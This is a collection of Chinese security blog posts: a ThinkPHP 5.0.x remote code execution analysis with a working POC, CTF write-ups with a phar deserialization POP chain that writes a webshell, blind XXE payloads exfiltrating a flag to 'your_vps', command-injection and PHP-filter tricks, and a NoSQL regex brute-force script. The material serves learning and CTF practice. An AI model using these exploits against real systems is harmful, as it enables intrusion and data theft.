ThinkPHP5.0.0~5.0.23RCE漏洞分析

ThinkPHP5.0.0~5.0.23RCE漏洞分析

最近TP5一直在爆洞,既然浪潮在,就有必要跟进分析一下。但是由于自己对TP5框架流程不是很了解,所以有了这篇边摸索边分析的文章。

TP5框架流程

应用启动在App.php的run()函数,说一下自己对这个框架的大致理解

用户请求 -> 路由解析 -> 调度请求 -> 执行操作 -> 响应输出

App.php代码部分流程如下: (自己的理解,可能有不对的地方,望斧正
1、应用初始化initModule()
2、run()->routeCheck()对用户的get请求进行路由检测
3、若注册了路由则返回相应的调度值,若路由检测无效(即没有注册路由)则返回调度值为module
4、根据调度值,处理不同请求

switch (self::$dispatch['type']) {
    case 'redirect':
        header('Location: ' . self::$dispatch['url'], true, self::$dispatch['status']);
        break;

    case 'module':
       $data = self::module(self::$dispatch['module'], $config);
        break;

    case 'controller':
        $data = Loader::action(self::$dispatch['controller'], self::$dispatch['params']);
        break;

    case 'method':
        $data = self::invokeMethod(self::$dispatch['method'], self::$dispatch['params']);
        break;

    case 'function':
        $data = self::invokeFunction(self::$dispatch['function'], self::$dispatch['params']);
        break;

    default:
        throw new Exception('dispatch type not support', 10008);
}

5、执行处理,返回输出。

TP5中get的路由请求参数为s。若get请求时s参数不存在,则调度类型默认值为module,调度方法实现self::module(),即进入MVC的处理方式:Controller层调用Module处理数据返回给View到用户。

所以核心操作就是调度请求。

回到正题

这个漏洞的产生是因为对_method参数过滤不严导致$filter变量覆盖

POC

http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha

POST:
_method=__construct&filter[]=system&method=get&get[]=whoami

分析

App.php部分代码:

<?php
/**
* 执行应用程序
* @access public
* @param  Request $request 请求对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
    $request = is_null($request) ? Request::instance() : $request;

    try {
        ...
        // 获取应用调度信息
        $dispatch = self::$dispatch;

        // 未设置调度信息则进行 URL 路由检测
        if (empty($dispatch)) {
            $dispatch = self::routeCheck($request, $config);
        }
        ...

        $data = self::exec($dispatch, $config);
    } catch (HttpResponseException $exception) {
        ...
    }
    ...
}

看到$dispatch = self::routeCheck($request, $config),$request是http请求对象,通过调用Request类中的method方法来获取当前的http请求类型,该函数的实现在thinkphp/library/think/Request.php:512

<?php
/**
    * 当前的请求类型
    * @access public
    * @param bool $method  true 获取原始请求类型
    * @return string
    */
public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

var_method的伪装变量值为_method

因此通过POST一个_method参数,即可进入判断,并执行$this->{$this->method}($_POST)语句。因此通过指定_method即可完成对该类的任意方法的调用,其传入对应的参数即对应的$_POST数组。在poc里看到传入的method为construct,代码如下

<?php
protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }

    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

利用foreach循环,和POST传入数组即可对Request对象的成员属性进行覆盖。经过覆盖后的结果

这里也就解释了poc中为什么要传入method=get。为了使$this->method=get才能对应上面Request.php的method()方法返回值,否则程序报错

request对象差不多清楚了,跟进self::routeCheck()

<?php
/**
 * URL路由检测(根据PATH_INFO)
 * @access public
 * @param  \think\Request $request 请求实例
 * @param  array          $config  配置信息
 * @return array
 * @throws \think\Exception
 */
public static function routeCheck($request, array $config)
{
    $path   = $request->path();  //path=captcha
    $depr   = $config['pathinfo_depr'];
    $result = false;

    // 路由检测(根据路由定义返回不同的URL调度)
    $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

    return $result;

根据$request的get请求进行路由检测,在vendor/topthink/think-captcha/src/helper.php中captcha注册了路由,因此其对应的URL调度值为method

再返回App.php继续执行$data = self::exec($dispatch, $config);

<?php
protected static function exec($dispatch, $config)
{
    switch ($dispatch['type']) {
        ...
        case 'method': // 回调方法
            $vars = array_merge(Request::instance()->param(), $dispatch['var']);
            $data = self::invokeMethod($dispatch['method'], $vars);
            break;
        ...
    }
    return $data;
}

介绍的,根据调度值的不同处理不同请求,此时我们的dispatch为method。继续跟进Request::instance()->param()

<?php
public function param($name = '', $default = null, $filter = '')
{
    if (empty($this->mergeParam)) {
        $method = $this->method(true);
        ...
    }
    ...
    // 当前请求参数和URL地址中的参数合并
    $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    $this->mergeParam = true;
    ...
    return $this->input($this->param, $name, $default, $filter);
}

array_merge用来合并参数,此时$this->param为一个数组,且第一个值为我们刚才覆盖的get值

继续跟进$this->input($this->param, $name, $default, $filter)

<?php
public function input($data = [], $name = '', $default = null, $filter = '')
{
    ...
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    }
    ...
}

跟进getFilter

protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter) && false === strpos($filter, '/')) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }

    $filter[] = $default;
    return $filter;
}

到这逻辑就很清楚了,在input函数里面获得$filter值为我们之前覆盖的$this->filter,$data是实参传入的$this->param数组,接着调用 array_walk_recursive()进行自定义函数处理,函数名为filterValue()

从而调用call_user_func进行RCE

官方补丁

看一下diff

触发漏洞点就是method可控,进而调用任意函数。补丁对参数method进行了白名单

参考链接

  1. https://xz.aliyun.com/t/3845#toc-1
  2. https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
  3. https://www.kancloud.cn/zmwtp/tp5/119426
  4. https://www.kancloud.cn/zmwtp/tp5/119428

Code-breaking-medium之lumenserial

Code-breaking-medium之lumenserial

一道pop链很深的题,复现了一天,到目前已经有九个人做了。太菜了,只能照着柠檬和kk师傅的wp来学习思路。通过这次的复现,感受到耐心对审计的importance。记录一下在学习wp过程中得到的他见与己见。

题目地址:https://code-breaking.com/puzzle/7/

前期

一个ueditor的页面

在App\Http\Controllers的EditorController.php里提供了远程下载功能

private function download($url)
{
    $content = file_get_contents($url);

url可控为以GET形式传入的source值,由于禁止了以下函数,所以只能利用Phar反序列化再打通pop链

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

Searching POP chain

因为phar反序列化不会反序列化类中的具体函数,所以要找两个魔法方法入口:__destruct|__wakeup这点在柠檬师傅的博客园看到的,也算是经验之谈了。

首先在namespace Illuminate\Broadcasting里找到PendingBroadcast类存在destruct

class PendingBroadcast
{   
public function __construct(Dispatcher $events, $event)
{
    $this->event = $event;
    $this->events = $events;
}
public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
}

Dispatcher是一个接口,所以这里$event、$events应该都是一个继承于这个接口的obj。但是看了下,一共就只有两个类继承于Dispatcher(BusFake、EventFake),且都无法利用。所以转向去寻找存在__call方法的类,看是否可以利用。

为什么要找存在_call方法的类的?根据PHP文档,当一个类里没有定义的方法时,在执行这个不存在方法时,它就会自动调用该类里的__call方法来实现方法重载。

所以要找一个有_call方法的类–>类ValidGenerator。

ValidGenerator

public function __call($name, $arguments)
{
    $i = 0;
    do {
        $res = call_user_func_array(array($this->generator, $name), $arguments);
        $i++;
        if ($i > $this->maxRetries) {
            throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
        }
    } while (!call_user_func($this->validator, $res));

    return $res;
}

$name的值就是dispatch。如果我们能控制$res,就相当于能控制call_user_func的函数和参数

由于在call_user_func_array()中,Generator类没有定义dispatch函数,所以又会调用Generator类的_call函数,跟进Generator类

Generator类

public function __call($method, $attributes) 
{
    return $this->format($method, $attributes);
}

继续跟进format方法

public function format($formatter, $arguments = array())
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);  
}

$formatter的值不可控,且初值为dispatch,继续跟进getFormatter()

public function getFormatter($formatter)
{
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }

在这步似乎看到了希望,因为它return 了一个数组的值,就比较好控。想办法让$this->getFormatter($formatter)的值是一个数组,即第一次getFormatter()返回的值是数组。数组只有一个值仍为getFormatter,此时$arguemnts为空,因为call_user_func_array,它就会再调用一次getFormatter方法,参数为空。

根据getFormatter方法当参数为空时,返回formatters成员的第一个值。

所以我们需要有两个Generator类:第一个类的formatters成员的键名为dispacth,键值为一个数组(内容为第二个Generator类名$ob2、方法名getFormatter);第二个Generator类的formatters键名随意,键值为我们想要控制的类,此时$res就算可控了。

回身处理validator

那么$this->validator如何处理呢?

这里看到师傅们找的了一个跳板类,赋值给了validator

phpunit\phpunit\src\Framework\MockObject\Stub\ReturnCallback.php:26

namespace PHPUnit\Framework\MockObject\Stub;
class ReturnCallback implements Stub
{
public function invoke(Invocation $invocation)
{
    return \call_user_func_array($this->callback, $invocation->getParameters());
}

invocation接口实现方法

getParameters()是接口的一个方法,用来访问私有属性parameters的值

找到调用这个接口的类就行了,这里是

namespace PHPUnit\Framework\MockObject\Invocation;
class StaticInvocation implements Invocation, SelfDescribing
{
private $parameters;
}

这个类可以通过上面getFormatter方法控制。至此,invoke()里call_user_func_array中的两个参数我们都可控了

构建POC思路

给validator一个数组(内容为实例化的ReturenCallback类、invoke方法名)。即$this->validator参数就成了invoke(),从而让call_user_func调用invoke方法,invoke方法中的Call_user_func_arrary再执行可控函数来getshell

总结一下,Invoke的回调函数能getshell的原因有二:
1、$this->callback 反序列化可控
2、继承invocation的类名返回值可控(getFormatter实现)

Final-EXP

看到kk师傅有一个exp写的很好,把审计流程串成EXP,稍作改动,这里贴出来学习下

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        function __construct(){
            $this->events = new \Faker\ValidGenerator();
            $this->event = 'everything';
        }
    }
}

namespace PHPUnit\Framework\MockObject\Invocation{
    class StaticInvocation{
        function __construct(){
            $this->parameters = array('/var/www/html/upload/hpdoger.php','<?php print_r(file_get_contents('../../flag_larave1_b0ne'));?>');
        }
    }
}

namespace PHPUnit\Framework\MockObject\Stub{
    class ReturnCallback{
        function __construct(){
            $this->callback = 'file_put_contents';
        }
    }
}

namespace Faker{
    class ValidGenerator{
        function __construct(){
            $evilobj = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation();
            $g1 = new \Faker\Generator(array('everything' => $evilobj ));
            $g2 = new \Faker\Generator(array("dispatch" => array($g1, "getFormatter")));

            $rc = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();

            $this->validator = array($rc, "invoke");
            $this->generator = $g2;
            $this->maxRetries = 10000;
        }
    }

    class Generator{
        function __construct($form){
            $this->formatters = $form;
        }
    }

}
namespace{
    $exp = new Illuminate\Broadcasting\PendingBroadcast();
    print_r(urlencode(serialize($exp)));

    // phar
    $p = new Phar('./hpdoger.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($exp);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
}

上传文件,接着进行反序列化

http://51.158.73.123:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/9af04fac3af8c9d11572234ca3c4c98b/201901/09/26b5b639d9f75a9426cf.gif

再次膜前辈师傅们

从两道CTF题目学习XXE漏洞

从两道CTF题目学习XXE漏洞

接触安全到现在,一直没有碰xxe相关的知识。一是觉得xml类型的东西太概念化了,二是觉得实用性不大,因为现在很少见到用xml形式来传输数据。不巧的是最近35CTF就有一道blind xxe题目,干脆把之前的坑填了,从零来学习一下XXE漏洞

XML相关知识

什么是XML

XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

通俗点来说就是存储数据的一种格式

它的形式类似于html,都是标签闭合,且有根元素和子元素说法,例如note就是根元素,from和to都是子元素

什么是实体

实体有以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

实体根据引用方式,还可分为内部实体与外部实体。这里简要说一下内部实体和引发XXE漏洞的外部实体、参数实体

内部实体

即在xml文档中自定义一个实体
格式:<!ENTITY 实体名称 "实体的值">,这是一种引入形式,好比C中引入变量都要声明变量,只不过在XML里引入的不叫变量,而叫做实体

外部实体

格式:<!ENTITY 实体名称 SYSTEM "URI">,在xml里不给实体赋予具体的值,而是通过某URI引入,叫做外部实体引入

下面是支持使用的URI

关于外部实体引用file协议的例子如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY  file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

参数实体

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

外部引入参数实体的例子:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
]>

注意:%name(参数实体)是在DTD中被引用的,而其余实体是在xml文档中被引用的。

什么是DTD

W3C定义:DTD即文档类型定义(document type define),可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

我理解的DTD是构建一个区域,声明在区域中要引入的实体\元素

内部声明DTD

语法:<!DOCTYPE 根元素 [元素声明]>

即在xml文档内部用DTD声明:我的根元素是root,在根元素下有to、from这些元素。

其实,你声明的元素和下面的元素名称不对应时也会进行解析。所以我觉得用DTD的用处就是给使用者一个目录栏,为了告诉他们下面的元素结构是什么样子的,而目录栏标题的名字是否正确不做强制要求。

PS:#PCDATA的意思是解析字符数据

外部声明DTD

语法:<!DOCTYPE 根元素 SYSTEM "文件名">,即引入外部的dtd声明,其中dtd文件就是引入的实体

XXE

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

上文的外部实体引入部分,可以调用URI来加载数据,这也是造成漏洞点的地方。

有回显的XXE

jarvisoj平台上的题目

题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值

35CTF Blind XXE

这个是XXE漏洞能够利用的普遍场景,一般能利用XXE的地方有回显的机率几乎为0。利用blind xxe把数据外带到自己的服务器

代码分析

代码如下:

<?php
  function __autoload($cls) {
    include $cls;
  }

  class Black {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#0d0d0d");
      if ($default) ini_set("highlight.default", "#0d0d0d");
      if ($keyword) ini_set("highlight.keyword", "#0d0d0d");

      if ($store) {
            setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  class Green {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#00fb00");
      if ($default) ini_set("highlight.default", "#00fb00");
      if ($keyword) ini_set("highlight.keyword", "#00fb00");

      if ($store) {
            setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  if ($_=@$_GET['theme']) {
    if (in_array($_, ["Black", "Green"])) {
      if (@class_exists($_)) {
        ($string = @$_GET['string']) || $string = false;
        ($default = @$_GET['default']) || $default = false;
        ($keyword = @$_GET['keyword']) || $keyword = false;

        new $_($string, $default, $keyword, @$_GET['store']);
      }
    }
  } else if ($_=@$_COOKIE['theme']) {
    $args = explode('-', $_);
    if (class_exists($args[0])) {
      new $args[0]($args[1], $args[2], $args[3], '');
    }
  } else if ($_=@$_GET['info']) {
    phpinfo();
  }

  highlight_file(__FILE__);

关于代码逻辑部分简单说一下:

theme、string、default、keyword参数决定cookie,如果cookie存在则对cookie的四个参数以“-”号分割处理:把第一部分当作类名、其余三部分当作初始参数进行实例化。

__autoload()方法没什么用,因为php7.2+以后此方法被废弃了,而环境刚好是7.21,所以是出题人用来混淆的。

既然代码没什么可用的类,就看看能不能实例化可以用的php原生类,这里复盘,SimpleXMlElement可用

关于这个类的具体使用介绍:http://php.net/manual/zh/class.simplexmlelement.php

这里仅仅大致用法:

所以思路就是Blind XXE,让服务器远程解析我们服务器上的xml,获取的数据再次发送到我们的服务器上。

一开始构造xml的poc花了半天时间,主要踩了两个坑:

1、在内部DTD声明中,参数实体不能嵌套参数实体使用,即下方的用法是不允许的,:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file "hpdoger">
<!ENTITY % send SYSTEM 'http://vps/?file=%file;'>

%send;
]>

只能引入外部声明DTD才能进行参数实体嵌套使用,但是嵌套使用还必须满足下面的一个条件

2、 这点是key师傅点播到的:在引入外部DTD声明之后,想要嵌套其它参数实体就必须要用一个“中间参数实体”去搭桥,这个中间参数实体可以理解为eval。具体实现方法看下面的POC

POC

vps上的xml文件如下:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % send SYSTEM 'http://your_vps/test2.dtd'>

%send;
%test;
%back;
]>

vps上的外部DTD声明文件test2.dtd如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

<!ENTITY % test "<!ENTITY &#37; back SYSTEM 'http://your_vps/?file=%file;'>">

用Curl发送请求,–cookie指定请求cookie参数

curl -v --cookie "theme=SimpleXMlElement-http://your_vps/xxe.xml-2-true" "http://35.207.132.47:82"

查看web日志即能看到base64加密的flag

其中:

  • 外部实体send引入外部DTD声明
  • 参数实体test即为“中间参数实体”
  • %为了避免编码问题
  • base64-encode是防止文件内容有空格导致http传输时被截断

题外话

关于FUZZ

关于服务端接收请求,如果已经有lnmp的环境最好。没有的话,这里推荐两个项目:

  1. TheTwitchy:https://github.com/TheTwitchy/xxer

  2. docker快速搭建lnmp+ssh(自己的项目求start:):

https://github.com/Hpd0ger/docker-lnmp

关于XXE漏洞挖掘

XML作为介质传输流程应该是这样的:

用户传输敏感数据->xml形式传输->后端解析xml(loadXML)->将各DOM节点转化为SimpleXML节点(最终为数组形式,节点名为键名,节点值为键值)->提取对应节点键值->数据提取/用户判断

漏洞点就在后端解析xml。

当后端使用loadXML()的方法解析xml文档时,会解析恶意xml语句即外部实体的引用,从而造成漏洞。

在挖掘漏洞的时候尤其注意两点:

  1. content-type: application/xml
  2. xml形式的数据传输e.g:<user>admin</user>

关于防御

  1. 对于PHP,禁止引用外部实体

    libxml_disable_entity_loader(true);
  2. 对于其它语言,其实做好过滤就行了。但是很少见到用xml形式的数据传输了..说多了也没啥用

Code-Breaking-Puzzles WriteUp

Code-Breaking-Puzzles WriteUp

最近终于可以忙里偷闲来做一下P神的题目,真的能学到不少东西,对底层的一些漏洞知识学习很有帮助。感谢网上已经有好多版本的wp可以提供参考,有一些知识实在是盲区。写一些笔记,不笱求与师傅们观点相异,如果能让看文章的人更能理解这些洞点,也算是我的荣幸了。

easy - function

不得不说P神的代码简洁又暴力

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

这里??是php7+的用法,$_GET[‘action’]非空则 $action = $_GET[‘action’]

应该是利用action做函数名来执行命令,但$action的首尾做了正则限制,不能直接是函数名。

P神小密圈说到的方式用\可以绕过。原因就是\funciton是php原生函数的写法,就是以命名空间+函数名的方法来表示函数。而原生函数的命名空间是”"。这种用法倒是在tp框架里见过,当调用一个类的时候会指明命名空间”\think\db”。虽然很无感命名空间的说法,但是感觉和java里的package类似

接着就是调用Create_function函数来代码注入了,具体原理参考:http://blog.51cto.com/lovexm/1743442

直接上Poc:
action=create_function&arg=;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));//

别忘了注释//,否则逃脱不了函数

easy - pcrewaf

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

逻辑

又是一段粗暴的代码。逻辑很清晰:上传文件->检测是否包含php语句->否->跳转到上传的文件

很明显应该是preg_match的洞点,但是当时并不知道具体突破的思路,看了一些文章才知道,原来php用的是PCRE库的。那么什么是PCRE和NFA正则引擎?

PCRE

PCRE(Perl Compatible Regular Expressions中文含义:perl语言兼容正则表达式)是一个用C语言编写的正则表达式函数库

NFA引擎

**NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态**

分析

NFA其实就像是用栈的结构来存储匹配成功的字符串,如果匹配不到下一个,则出栈进行上一个字符串匹配。就拿这段正则语句来说

preg_match('/<\?.*[(`;?>].*/is', $data)

如果我们输入<?php print;abcd

那么它匹配的流程应该是这样的:
<?php print;abc
<?php print;ab
<?php print;a
<?php print;
<?php print;abcd

.*会把?后的所有字符都先匹配到,发现没有[]里面的这些字符后再进行回溯。但是PHP为了防止回溯次数过多,发生拒绝服务,会有一个回溯限制

引用kk师傅的一张图:

5.2以后的版本回溯次数是1000000,超过这个次数还没有匹配到,则会返回false

POC

既然是弱类型比较,我们就用false来等价null绕过

<?php
$f = fopen("poc.txt", "w");
$msg = "<?php print_r(scandir('../'));?>".str_repeat("A",1000000);
fwrite($f,$msg);
fclose($f);

构造个上传表单完事

这也提醒我们,正确使用preg_match的重要性,用强类型等于避免很多不安全因素

phpmagic

这个题真的发现很多知识碎片

php://filter

首先聊聊filter的妙用。以前见到的情况和套路都是include()、file_get_contents()的参数可控,我们用php://filter/read配合base64-encode可以把文件编码成base64后输出。没想到file_put_contents文件名可控时也有magic

当我们可控的文件名$file传入参数php://filter/write=convert.base64-decode/resource=shell.php,$text传入this is test时,file_put_contents($file,$text)执行的内容如下:

可以把写入的文本进行base64编码,而且可以指定写入的文件名shell.php。其实这个用处还挺多的,比如将可控文本Base64编码,用伪协议写入文件的时候再decode,就能绕过后端正则对可控文本php危险语句检测的过滤

审计

关键代码

$output会被转义后输入到可控文本,用上面的思路在写入文本的时候base64-decode就能绕过,注意用Host拼接$log_name。

至于绕过后缀名,这两天做工程实践的时候恰好用到了p师傅关于apache的x0a后缀解析为php的文件上传绕过,具体思路:https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715

poc如下

php limit

这道题依然简单粗暴,代码如下

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

刚开始不清楚正则里(?R)的用法,看了别人的WP才知道这是PCRE的正则递归。在这道题里,就是按照递归的方式一直匹配/[^\W]+\((?R)?\)/,看下面这个例子

在匹配完b()之后,由于匹配不到[^\W],正则就停止了。所以这里的代码执行点就是:嵌套函数且最后一个函数不能用参数值

有的师傅们用了get_defined_vars()获取http请求头。其实这个之前在打awd时上流量监控部分用到过,appache可以用getallheaders()来获取http头,但是nginx没有这个函数,可以用了get_defined_vars(),通过current()、next()进而选择可控参数,poc如下

Nodejs魔法

Koa框架写的登陆页面,入库的语句都写出来了

看到这一步很关键,因为忘了看flag在哪个表里,后面浪费了很多时间

继续看到登陆的逻辑

传入的username&&password非空,并且经过safe函数过滤后带入查询,如果有结果则设定session为查询结果

##分析
一开始绕safe就饶了好久,尝试了各种注释。最后l0cal师傅提醒,在js里toUpperCase()是可以用拉丁文的unicode绕过的,例如"ſ".toUpperCase()<=>"S""ı".toUpperCase()<=>"I"

那么select 和 union 都可以绕过

一开始想多了,一直在盲注,根据时候有session判断查询的真假,结果好多东西都绕不过去,而且没看代码还在傻乎乎的测表名,十分愚蠢

有好多语句都会500,估计是云服务做了限制。。到最后发现把用户名和密码置空,后面用union查询flag,那设置的session不就是flag么。。

真的是太菜了

SWPUCTF2018 Write up

恰逢复习期,也没什么事,打一场SWPUCTF来放松一下,感谢西油出题师傅。最后狗了个第十二名,顺便吐槽一下队友起的什么智障名字。。

SWPUCTF2018

MISC

PCAP

签到题,流量包拖wireshark追TCP包

床前明月光,低头…

低头看键盘

99 9 9 88 11 5 5 66 3 88 3 6 555 9 11 4 33

键盘密码 99就代表9那列的第二个值

look ….. 依次读就行了

WEB

用优惠码买个X

拿到题目扫目录 www.zip
源码如下

$_SESSION['seed']=rand(0,999999999);
function youhuima(){
    mt_srand($_SESSION['seed']);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $auth='';
    $len=15;
    for ( $i = 0; $i < $len; $i++ ){
        if($i<=($len/2))
              $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
        else
              $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
    }
    setcookie('Auth', $auth);
}
//support
    if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
        if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
               //执行命令
        }else {
              //flag字段和某些字符被过滤!
        }
    }else{
             // 你的输入不正确!
    }
?>

根据提示应该分两部分 绕过优惠码->命令执行逃过

首先说破解优惠码,登陆时session产生0-99999999随机数为种子,通过mt_srand()种下随机数种子,mt_rand()来获取这个随机数。

这里mt_srand伪随机,具体机制可以看这篇文章:http://wonderkun.cc/index.html/?p=585%EF%BC%8C%E9%9A%8F%E6%9C%BA%E6%95%B0%E4%B9%8B%E5%89%8D%E4%B9%9F%E6%98%AFctf%E7%9A%84%E5%B8%B8%E8%A7%81%E5%A7%BF%E5%8A%BF

种子不变,生成的随机数就不变

所以通过前15位随机数,破解种子,根据种子再生成24位的随机数,也就是我们的优惠码

脚本跑随机数在字符串的位置:

<?php
$str = "lP9DUJjQ";
$randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

for($i=0;$i<strlen($str);$i++){
   $pos = strpos($randStr,$str[$i]);
   echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
   //整理成方便 php_mt_seed 测试的格式
  //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "\n";
?>

这个的坑点,必须跑前八位优惠码,因为算法里后起位和前八位生成顺序不一样

用工具php_mt_seed跑一下

本地php7环境跑这个种子的24位就能得到优惠码了

优惠码成功跳转到命令执行whois查询,匹配ip时用了/m 且^ $必须匹配头尾,%0a换行绕过检测,0a后面写规范ip

过滤了查询flag的语句,用”” 或者\绕过都行

完整payload:

ca\t /f\lag%0a127.0.0.1

Injection ???

扫目录用个info.php

是个phpinfo然后拓展显示mongo的数据库,搭配题目叫注入,那应该是一个nosql注入了

思路很简单,用通配符猜解admin的密码

username=admin&password[$regex]=^**

只不过要写个脚本跑验证码,这里队友写了一个提供参考

import requests
import time
import pytesseract
from PIL import Image
import os
from urllib.request import urlretrieve

j=0
passw0rd = ["s","k","m","u","n"]
payload="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_!@#$%"
url = "http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^skmun{}&vertify={}"
img_url = 'http://123.206.213.66:45678/vertify.php'

for i in range(1,20):
    while j<len(payload):
        s = requests.session()
        payloads = payload[j]
        with open(r'C:\Users\asus\Desktop\image\img1.png','wb') as fd:
            img_1 = s.get(url=img_url)
            fd.write(img_1.content)
        image = Image.open(r'C:\Users\asus\Desktop\image\img1.png')
        vcode = pytesseract.image_to_string(image)
        url_1 = url.format(str(payloads),vcode)
        r = s.get(url_1,cookies=img_1.cookies)
        print(r.text)
        if "wrong CAPTCHA!" in r.text:
            continue
        if "username or password incorrect!" in r.text:
            print(payloads)
            j = j+1
            break
        if "Nice!But it is not the real passwd" in r.text:
            passw0rd.append(payloads)
            print("passw0rd is :" + str(passw0rd))
            j = j+1
            break

SimplePHP

题目地址:

file有个代码高亮的功能,把这些页面的额源码都Down一下

先看一下test类的__get()方法

__get()方法用于输出一个不可访问变量的值,不可访问不仅仅是protected和private,还有不存在的变量也属于不可访问,这点很重要。$key的值就是不可访问的参数名,这里是”source”,如果输入”xx”,echo的就是xx。

开发角度来讲,私有属性一般都会调用__get()方法用以提供外界访问。继续看下面的代码

    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];      
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);  
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

通过调用get()方法获取params数组里的值,进而获取这个值所对应的文件内容,这为获取flag文件内容做了铺垫。

所以只需要想办法使$this->params[$key] = ‘/var/www/html/f1ag.php’

瓶颈

一开始我是这样构造的攻击链:

之前分析过phar,它在反序列化的时候不会执行构造函数即construct,所以置空参数,让test类的get方法返回文件内容,再通过c1e4r类的echo输出到页面上

但是这里有一个问题,phar序列化的时候, 不会把类的方法反序列化,所以只能控类的成员。那么就开始下面的方法:

正确的思路

$a = new Test();
$a->params = [
    'source' => '/var/www/html/f1ag.php'
];

$b = new Show();
$b->str['str'] = $a;

$c = new C1e4r();
$c->str = $b;

思路就是:
